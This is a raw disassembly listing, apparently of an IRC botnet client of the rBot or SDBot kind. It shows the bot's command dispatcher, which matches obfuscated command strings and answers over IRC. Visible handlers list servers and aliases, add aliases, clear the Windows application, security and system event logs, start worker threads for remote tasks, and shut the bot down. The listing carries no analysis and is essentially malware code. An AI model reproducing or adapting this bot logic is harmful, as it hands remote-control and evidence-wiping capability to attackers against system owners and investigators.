jnz loc_40AE98
mov ebx, [ebx+4]
cmp ebx, esi
jnz short loc_40AE07
mov ecx, dword_457CEC
mov edx, offset aSsl ; " (SSL)"
mov eax, ecx
imul eax, 0B8h
cmp dword_443FD4[eax], esi
jnz short loc_40ADDB
mov edx, offset byte_454A34
loc_40ADDB: ; CODE XREF: sub_40A938+49Cj
push edx
push dword_443FD0[eax]
lea eax, dword_443F20[eax]
push eax
mov eax, [ebp+arg_C]
push ecx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSServerISDS ; "%s: Server: [%i: %s:%d%s]"
push dword ptr [eax+0Ch]
push [ebp+arg_10]
call sub_41CD84
jmp loc_412BF1
; ---------------------------------------------------------------------------
loc_40AE07: ; CODE XREF: sub_40A938+481j
push ebx
push offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
call edi ; dword_437174
test eax, eax
jnz loc_4148CF
mov esi, [ebp+arg_C]
push offset aListComplete ; "-=[List Complete]=-"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
xor ebx, ebx
add esp, 0Ch
cmp dword_445D00, ebx
jle short loc_40AE7E
mov edi, offset dword_443FD0
loc_40AE3C: ; CODE XREF: sub_40A938+544j
cmp dword ptr [edi+4], 0
mov eax, offset aSsl ; " (SSL)"
jnz short loc_40AE4C
mov eax, offset byte_454A34
loc_40AE4C: ; CODE XREF: sub_40A938+50Dj
push offset dword_443EF4
push eax
push dword ptr [edi]
lea eax, [edi-0B0h]
push eax
push ebx
push offset aISDSS ; "%i: %s:%d%s, %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 20h
inc ebx
add edi, 0B8h
cmp ebx, dword_445D00
jl short loc_40AE3C
loc_40AE7E: ; CODE XREF: sub_40A938+4FDj
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push offset aSServerListCom ; "%s Server List complete."
push dword ptr [esi+0Ch]
loc_40AE8B: ; CODE XREF: sub_40A938+46EEj
push [ebp+arg_10]
call sub_41CD84
jmp loc_414688
; ---------------------------------------------------------------------------
loc_40AE98: ; CODE XREF: sub_40A938+476j
push dword ptr [ebx]
push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
call edi ; dword_437174
test eax, eax
jnz loc_40AF66
cmp [ebp+arg_14], eax
mov esi, [ebp+arg_C]
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov ebx, offset aSAliasList ; "%s [Alias list]"
jnz short loc_40AED0
cmp [ebp+arg_18], eax
jnz short loc_40AED6
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40AED0: ; CODE XREF: sub_40A938+581j
cmp [ebp+arg_18], 0
jz short loc_40AEE5
loc_40AED6: ; CODE XREF: sub_40A938+586j
push edi
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 10h
loc_40AEE5: ; CODE XREF: sub_40A938+59Cj
xor ebx, ebx
cmp dword_437330, ebx
jle loc_4148CF
mov edi, offset dword_4570A0
loc_40AEF8: ; CODE XREF: sub_40A938+627j
cmp byte ptr [edi], 0
jz short loc_40AF52
lea eax, [edi+18h]
push eax
push edi
push ebx
lea eax, [ebp+var_26EE0]
push offset aD_SS ; "%d. %s = %s"
push eax
call sub_429A33
add esp, 14h
cmp [ebp+arg_14], 0
jnz short loc_40AF38
cmp [ebp+arg_18], 0
jnz short loc_40AF3E
lea eax, [ebp+var_26EE0]
push eax
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 0Ch
loc_40AF38: ; CODE XREF: sub_40A938+5E3j
cmp [ebp+arg_18], 0
jz short loc_40AF52
loc_40AF3E: ; CODE XREF: sub_40A938+5E9j
lea eax, [ebp+var_26EE0]
push eax
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 0Ch
loc_40AF52: ; CODE XREF: sub_40A938+5C3j
; sub_40A938+604j
inc ebx
add edi, 0B8h
cmp ebx, dword_437330
jl short loc_40AEF8
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40AF66: ; CODE XREF: sub_40A938+56Bj
push dword ptr [ebx]
push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
call edi ; dword_437174
test eax, eax
jnz loc_40B07C
cmp [ebx+4], esi
jz loc_40B03B
mov eax, [ebx+8]
cmp eax, esi
jz loc_40B03B
push eax
lea eax, [ebp+var_2D24]
push offset aS_5 ; "%s"
push eax
call sub_429A33
add esp, 0Ch
push 3
pop edi
cmp [ebp+arg_4], edi
jle short loc_40AFE2
loc_40AFA8: ; CODE XREF: sub_40A938+6A8j
mov eax, [ebx+edi*4]
cmp eax, esi
jz short loc_40AFDC
push eax
lea eax, [ebp+var_62D0]
push offset aS_1 ; " %s"
push eax
call sub_429A33
lea eax, [ebp+var_62D0]
push 104h
push eax
lea eax, [ebp+var_2D24]
push eax
call sub_429910
add esp, 18h
loc_40AFDC: ; CODE XREF: sub_40A938+675j
inc edi
cmp edi, [ebp+arg_4]
jl short loc_40AFA8
loc_40AFE2: ; CODE XREF: sub_40A938+66Ej
lea eax, [ebp+var_2D24]
push eax
push dword ptr [ebx+4]
call sub_418CCA
cmp [ebp+arg_14], 0
mov esi, [ebp+arg_C]
pop ecx
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
pop ecx
mov ebx, offset aSAddedAliasS ; "%s Added Alias: %s"
jnz short loc_40B023
cmp [ebp+arg_18], 0
jnz short loc_40B02D
lea eax, [ebp+var_2D24]
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40B023: ; CODE XREF: sub_40A938+6CCj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B02D: ; CODE XREF: sub_40A938+6D2j
lea eax, [ebp+var_2D24]
loc_40B033: ; CODE XREF: sub_40A938+2445j
; sub_40A938+4B84j ...
push eax
loc_40B034: ; CODE XREF: sub_40A938+D3Bj
; sub_40A938+83BAj
push edi
loc_40B035: ; CODE XREF: sub_40A938+171Ej
; sub_40A938+4929j ...
push ebx
jmp loc_4146CB
; ---------------------------------------------------------------------------
loc_40B03B: ; CODE XREF: sub_40A938+642j
; sub_40A938+64Dj
cmp [ebp+arg_14], 0
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov esi, offset aSS_1 ; "%s %s"
mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
jnz short loc_40B06A
cmp [ebp+arg_18], 0
jnz short loc_40B074
mov eax, [ebp+arg_C]
push ebx
push edi
push esi
push dword ptr [eax+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40B06A: ; CODE XREF: sub_40A938+716j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B074: ; CODE XREF: sub_40A938+71Cj
push ebx
push edi
push esi
jmp loc_40AD99
; ---------------------------------------------------------------------------
loc_40B07C: ; CODE XREF: sub_40A938+639j
and [ebp+var_4], 0
cmp dword_437330, 0
mov esi, [ebp+arg_C]
jle loc_40B1C2
mov [ebp+arg_68], offset dword_4570B8
loc_40B097: ; CODE XREF: sub_40A938+884j
mov eax, [ebp+arg_68]
push dword ptr [ebx]
add eax, 0FFFFFFE8h
push eax
call edi ; dword_437174
test eax, eax
jnz loc_40B1A9
movsx eax, byte_443988
push [ebp+arg_68]
push eax
lea eax, [ebp+var_9A20]
push offset dword_4416AC
push eax
call sub_429A33
mov ecx, [ebp+arg_10]
add esp, 10h
call sub_41DA92
push eax
lea eax, [ebp+var_9A20]
push offset off_4416A8
push eax
call sub_427931
mov ecx, [ebp+arg_10]
add esp, 0Ch
call sub_41DA96
push eax
lea eax, [ebp+var_9A20]
push offset aUser_0 ; "$user"
push eax
call sub_427931
push offset dword_443EF4
lea eax, [ebp+var_9A20]
push offset aChan ; "$chan"
push eax
call sub_427931
push dword ptr [ebx+4]
lea eax, [ebp+var_9A20]
push offset a1_0 ; "$1"
push eax
call sub_427931
push dword ptr [ebx+8]
lea eax, [ebp+var_9A20]
push offset a2 ; "$2"
push eax
call sub_427931
push dword ptr [ebx+0Ch]
lea eax, [ebp+var_9A20]
push offset a3 ; "$3"
push eax
call sub_427931
push dword ptr [ebx+10h]
lea eax, [ebp+var_9A20]
push offset a4 ; "$4"
push eax
call sub_427931
add esp, 48h
lea eax, [ebp+var_9A20]
push dword ptr [ebx+14h]
push offset a5 ; "$5"
push eax
call sub_427931
push dword ptr [ebx+18h]
lea eax, [ebp+var_9A20]
push offset a6 ; "$6"
push eax
call sub_427931
push 0
lea eax, [ebp+var_9A20]
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push eax
call sub_40A86F
add esp, 2Ch
loc_40B1A9: ; CODE XREF: sub_40A938+76Cj
inc [ebp+var_4]
add [ebp+arg_68], 0B8h
mov eax, [ebp+var_4]
cmp eax, dword_437330
jl loc_40B097
loc_40B1C2: ; CODE XREF: sub_40A938+752j
push dword ptr [ebx]
push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
call edi ; dword_437174
test eax, eax
jnz loc_40B33D
mov ebx, [ebx+4]
test ebx, ebx
jz loc_40B2DD
push ebx
call sub_42A030
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jl loc_40B297
cmp eax, 3
jge loc_40B297
mov ecx, [ebp+arg_10]
push eax
call sub_41C63E
test eax, eax
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jz short loc_40B257
cmp [ebp+arg_14], 0
mov edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
jnz short loc_40B239
cmp [ebp+arg_18], 0
jnz short loc_40B243
push edi
push [ebp+arg_C]
push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
push ebx
push offset aSSIS ; "%s %s (%i) %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_40B239: ; CODE XREF: sub_40A938+8DCj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B243: ; CODE XREF: sub_40A938+8E2j
push edi
push [ebp+arg_C]
push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
push ebx
push offset aSSIS ; "%s %s (%i) %s"
jmp loc_4148C2
; ---------------------------------------------------------------------------
loc_40B257: ; CODE XREF: sub_40A938+8D1j
cmp [ebp+arg_14], 0
mov edi, offset aSSI ; "%s %s (%i)"
jnz short loc_40B280
cmp [ebp+arg_18], 0
jnz short loc_40B28A
push [ebp+arg_C]
push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B280: ; CODE XREF: sub_40A938+928j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B28A: ; CODE XREF: sub_40A938+92Ej
push [ebp+arg_C]
push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
jmp loc_414855
; ---------------------------------------------------------------------------
loc_40B297: ; CODE XREF: sub_40A938+8B2j
; sub_40A938+8BBj
cmp [ebp+arg_14], 0
mov edi, offset aSSI ; "%s %s (%i)"
mov ebx, offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"...
jnz short loc_40B2C5
cmp [ebp+arg_18], 0
jnz short loc_40B2CF
push [ebp+arg_C]
push ebx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B2C5: ; CODE XREF: sub_40A938+96Dj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B2CF: ; CODE XREF: sub_40A938+973j
push [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40A938+1BC9j
push ebx
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_40B2DD: ; CODE XREF: sub_40A938+8A0j
push dword ptr [esi+8]
mov ecx, [ebp+arg_10]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_41C598
cmp eax, 0FFFFFFFFh
jz loc_4148CF
cmp [ebp+arg_14], 0
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
mov edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
jnz short loc_40B323
cmp [ebp+arg_18], 0
jnz short loc_40B32D
push edi
push dword ptr [esi]
push ebx
push offset aSS_1 ; "%s %s"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B323: ; CODE XREF: sub_40A938+9CCj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B32D: ; CODE XREF: sub_40A938+9D2j
mov esi, [esi]
push edi
push esi
push ebx
push offset aSS_1 ; "%s %s"
push esi
jmp loc_414859
; ---------------------------------------------------------------------------
loc_40B33D: ; CODE XREF: sub_40A938+895j
push dword ptr [ebx]
push offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
call edi ; dword_437174
test eax, eax
jnz short loc_40B35A
push dword ptr [esi+0Ch]
mov ecx, [ebp+arg_10]
call sub_41C6FF
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40B35A: ; CODE XREF: sub_40A938+A10j
push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
push dword ptr [ebx]
call edi ; dword_437174
test eax, eax
jnz loc_40B494
mov ebx, [ebx+4]
xor edi, edi
cmp ebx, edi
jz loc_4148CF
push ebx
call sub_4154E4
push eax
push offset dword_443E6C
call sub_42B190
add esp, 0Ch
test eax, eax
jnz loc_4148CF
mov ebx, [ebp+arg_20]
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push 3
push edi
push ebx
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push dword ptr [esi+0Ch]
call sub_42358B
mov eax, [ebp+arg_14]
add esp, 20h
mov [ebp+var_E64], eax
mov [ebp+var_E68], ebx
push dword ptr [esi+0Ch]
lea eax, [ebp+var_F14]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push offset aUnsecured ; "Unsecured"
push offset aJvatg1988z81 ; "jVATg1988z81"
push offset aSS_ ; "%s %s."
push 3
mov [ebp+var_F18], eax
mov [ebp+var_E84], edi
mov [ebp+var_E80], edi
call sub_4233DE
add esp, 10h
mov [ebp+var_E94], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_F18]
push edi
push eax
push offset sub_421F40
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_E94]
mov ebx, dword_43718C
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz short loc_40B44A
jmp short loc_40B442
; ---------------------------------------------------------------------------
loc_40B43E: ; CODE XREF: sub_40A938+B10j
push 32h
call ebx ; dword_43718C
loc_40B442: ; CODE XREF: sub_40A938+B04j
cmp [ebp+var_E5C], edi
jz short loc_40B43E
loc_40B44A: ; CODE XREF: sub_40A938+B02j
push 3E8h
call ebx ; dword_43718C
push edi
push edi
call sub_427CE1
pop ecx
mov eax, offset dword_43D664
pop ecx
push eax
push eax
push dword ptr [esi]
push offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"...
push offset aSSS@S ; "%s [%s!%s@%s]"
push [ebp+arg_10]
call sub_41C9EE
add esp, 18h
push 3E8h
call ebx ; dword_43718C
mov ecx, [ebp+arg_10]
call sub_41C9BC
call dword_456E38 ; WSACleanup
push edi
call dword_4370C4 ; ExitProcess
loc_40B494: ; CODE XREF: sub_40A938+A2Dj
push dword ptr [ebx]
push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
call edi ; dword_437174
test eax, eax
jnz loc_40B5A6
xor ebx, ebx
cmp dword_457014, ebx
jnz loc_40B570
mov edi, 94h
lea eax, [ebp+var_2978]
push edi
push ebx
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_2978]
mov [ebp+var_2978], edi
push eax
call dword_437050 ; GetVersionExA
cmp [ebp+var_2968], 2
mov dword ptr [ebp+var_14+4], offset aApplication ; "application"
mov dword ptr [ebp+var_C], offset aSecurity ; "security"
mov dword ptr [ebp+var_C+4], offset aSystem ; "system"
mov [ebp+arg_C], ebx
jnz short loc_40B52E
xor edi, edi
loc_40B4FF: ; CODE XREF: sub_40A938+BF4j
push dword ptr [ebp+edi*4+var_14+4]
push 0
call dword_456E70 ; OpenEventLogA
mov ebx, eax
test ebx, ebx
jz short loc_40B528
push 0
push ebx
call dword_456E80 ; ClearEventLogA
test eax, eax
jz short loc_40B521
inc [ebp+arg_C]
loc_40B521: ; CODE XREF: sub_40A938+BE4j
push ebx
call dword_456E2C ; CloseEventLog
loc_40B528: ; CODE XREF: sub_40A938+BD7j
inc edi
cmp edi, 3
jl short loc_40B4FF
loc_40B52E: ; CODE XREF: sub_40A938+BC3j
xor eax, eax
cmp [ebp+arg_14], eax
jnz loc_4148CF
cmp [ebp+arg_18], eax
jnz loc_4148CF
cmp [ebp+arg_C], eax
mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
jle short loc_40B565
push 3
push [ebp+arg_C]
push edi
push offset aSClearedDDSysl ; "%s Cleared [%d/%d] syslogs"
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B565: ; CODE XREF: sub_40A938+C12j
push edi
push offset aSFailedToClear ; "%s Failed to clear syslogs"
jmp loc_40F023
; ---------------------------------------------------------------------------
loc_40B570: ; CODE XREF: sub_40A938+B75j
mov edi, offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded"
loc_40B575: ; CODE XREF: sub_40A938+287Cj
mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
loc_40B57A: ; CODE XREF: sub_40A938+2832j
; sub_40A938+283Dj ...
cmp [ebp+arg_14], 0
jnz short loc_40B596
cmp [ebp+arg_18], 0
jnz short loc_40B5A0
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
loc_40B596: ; CODE XREF: sub_40A938+C46j
cmp [ebp+arg_18], 0
loc_40B59A: ; CODE XREF: sub_40A938+60AEj
jz loc_4148CF
loc_40B5A0: ; CODE XREF: sub_40A938+C4Cj
; sub_40A938+6093j
push ebx
jmp loc_41467D
; ---------------------------------------------------------------------------
loc_40B5A6: ; CODE XREF: sub_40A938+B67j
push dword ptr [ebx]
push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
call edi ; dword_437174
test eax, eax
jnz loc_40B865
mov eax, [ebx+4]
test eax, eax
jz loc_40B711
push eax
push offset aE0idd0rdw2u ; "e0idD0RDw2U/"
call edi ; dword_437174
test eax, eax
jnz loc_40B711
mov eax, [ebx+8]
test eax, eax
jz loc_4148CF
push eax
push offset a86tb1fspjg0 ; "86tb/1FSpjg0"
call edi ; dword_437174
test eax, eax
jnz loc_40B678
call sub_4234DB
test eax, eax
mov [ebp+arg_C], eax
mov edi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
jle short loc_40B63E
cmp [ebp+arg_14], 0
mov ebx, offset aSDS ; "%s %d %s"
jnz short loc_40B625
cmp [ebp+arg_18], 0
jnz short loc_40B62F
push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
push eax
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B625: ; CODE XREF: sub_40A938+CCFj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B62F: ; CODE XREF: sub_40A938+CD5j
push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
push [ebp+arg_C]
loc_40B637: ; CODE XREF: sub_40A938+4FBCj
push edi
loc_40B638: ; CODE XREF: sub_40A938+8457j
push ebx
jmp loc_414857
; ---------------------------------------------------------------------------
loc_40B63E: ; CODE XREF: sub_40A938+CC4j
cmp [ebp+arg_14], 0
mov ebx, offset aSS_1 ; "%s %s"
jnz short loc_40B664
cmp [ebp+arg_18], 0
jnz short loc_40B66E
push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_40B664: ; CODE XREF: sub_40A938+D0Fj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B66E: ; CODE XREF: sub_40A938+D15j
push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
jmp loc_40B034
; ---------------------------------------------------------------------------
loc_40B678: ; CODE XREF: sub_40A938+CAFj
push dword ptr [ebx+8]
call sub_42A030
push eax
call sub_423463
pop ecx
mov edi, offset aSSS_0 ; "%s %s (%s)"
test eax, eax
pop ecx
jz short loc_40B6CD
cmp [ebp+arg_14], 0
jnz short loc_40B6B9
cmp [ebp+arg_18], 0
jnz short loc_40B6C3
push dword ptr [ebx+8]
push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B6B9: ; CODE XREF: sub_40A938+D5Dj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B6C3: ; CODE XREF: sub_40A938+D63j
push dword ptr [ebx+8]
push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
jmp short loc_40B707
; ---------------------------------------------------------------------------
loc_40B6CD: ; CODE XREF: sub_40A938+D57j
cmp [ebp+arg_14], 0
jnz short loc_40B6F5
cmp [ebp+arg_18], 0
jnz short loc_40B6FF
push dword ptr [ebx+8]
push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B6F5: ; CODE XREF: sub_40A938+D99j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B6FF: ; CODE XREF: sub_40A938+D9Fj
push dword ptr [ebx+8]
push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"
loc_40B707: ; CODE XREF: sub_40A938+D93j
; sub_40A938+E22j ...
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_40B711: ; CODE XREF: sub_40A938+C84j
; sub_40A938+C94j
push 6
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_40B75C
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40B74C
cmp [ebp+arg_18], 0
jnz short loc_40B756
push eax
push ebx
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B74C: ; CODE XREF: sub_40A938+DF6j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B756: ; CODE XREF: sub_40A938+DFCj
push [ebp+arg_C]
push ebx
jmp short loc_40B707
; ---------------------------------------------------------------------------
loc_40B75C: ; CODE XREF: sub_40A938+DE6j
mov eax, [ebp+arg_14]
mov [ebp+var_AFC], eax
mov eax, [ebp+arg_20]
mov [ebp+var_B00], eax
mov eax, [ebp+arg_18]
mov [ebp+var_AF8], eax
test eax, eax
lea eax, [ebp+var_BAC]
jnz short loc_40B786
push dword ptr [esi+0Ch]
jmp short loc_40B788
; ---------------------------------------------------------------------------
loc_40B786: ; CODE XREF: sub_40A938+E47j
push dword ptr [esi]
loc_40B788: ; CODE XREF: sub_40A938+E4Cj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov [ebp+var_BB0], eax
mov ebx, [ebx+4]
test ebx, ebx
jz short loc_40B7B4
push offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
push ebx
call edi ; dword_437174
neg eax
sbb eax, eax
inc eax
mov [ebp+var_B1C], eax
jmp short loc_40B7BB
; ---------------------------------------------------------------------------
loc_40B7B4: ; CODE XREF: sub_40A938+E65j
and [ebp+var_B1C], 0
loc_40B7BB: ; CODE XREF: sub_40A938+E7Aj
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push offset aSThreadList ; "%s Thread list"
push 6
call sub_4233DE
add esp, 0Ch
mov [ebp+var_B2C], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_BB0]
push edi
push eax
push offset sub_423650
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_B2C]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_40B858
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40B839
cmp [ebp+arg_18], 0
jnz short loc_40B843
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B839: ; CODE XREF: sub_40A938+EDDj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B843: ; CODE XREF: sub_40A938+EE3j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_40B707
; ---------------------------------------------------------------------------
loc_40B850: ; CODE XREF: sub_40A938+F26j
push 32h
call dword_43718C ; Sleep
loc_40B858: ; CODE XREF: sub_40A938+ECCj
cmp [ebp+var_AF4], edi
jz short loc_40B850
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_40B865: ; CODE XREF: sub_40A938+C79j
push dword ptr [ebx]
push offset aG3obv_r6j7h ; "g3obv.r6j7H/"
call edi ; dword_437174
test eax, eax
jnz loc_40B9AC
push dword ptr [ebx+4]
push offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
call edi ; dword_437174
test eax, eax
jnz loc_40B9AC
push 12h
call sub_423756
xor edi, edi
pop ecx
cmp eax, edi
mov [ebp+arg_C], eax
jle short loc_40B8DE
mov ebx, offset aLtlec18us5q0 ; "LTLec18US5q0"
loc_40B89E: ; CODE XREF: sub_40A938+1604j
; sub_40A938+1748j ...
cmp [ebp+arg_14], 0
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_40B8C7
cmp [ebp+arg_18], 0
jnz short loc_40B8D1
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_40B8C7: ; CODE XREF: sub_40A938+F6Fj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_40B8D1: ; CODE XREF: sub_40A938+F75j
push [ebp+arg_C]
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
jmp loc_414855
; ---------------------------------------------------------------------------
loc_40B8DE: ; CODE XREF: sub_40A938+F5Fj
cmp [ebp+arg_2C], edi
jz short loc_40B8EA
mov ebx, [ebx+8]
cmp ebx, edi
jnz short loc_40B8F1
loc_40B8EA: ; CODE XREF: sub_40A938+FA9j
push offset dword_443F04
jmp short loc_40B8F2
; ---------------------------------------------------------------------------
loc_40B8F1: ; CODE XREF: sub_40A938+FB0j
push ebx
loc_40B8F2: ; CODE XREF: sub_40A938+FB7j
lea eax, [ebp+var_1AEC]
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov ebx, offset aLtlec18us5q0 ; "LTLec18US5q0"
push offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push ebx
push offset aSS_ ; "%s %s."
push 12h
mov [ebp+var_1AF0], eax
call sub_4233DE
add esp, 10h
mov [ebp+var_1A6C], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_1AF0]
push edi
push eax
push offset sub_425A1B
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1A6C]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_412F27
jmp short loc_40B965
; ---------------------------------------------------------------------------
loc_40B95D: ; CODE XREF: sub_40A938+1033j
push 32h
call dword_43718C ; Sleep
loc_40B965: ; CODE XREF: sub_40A938+1023j
cmp [ebp+var_1A34], edi
jz short loc_40B95D
cmp [ebp+arg_14], 0
mov edi, offset aSStarted_ ; "%s started."
jnz short loc_40B98E
cmp [ebp+arg_18], 0
jnz short loc_40B998
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
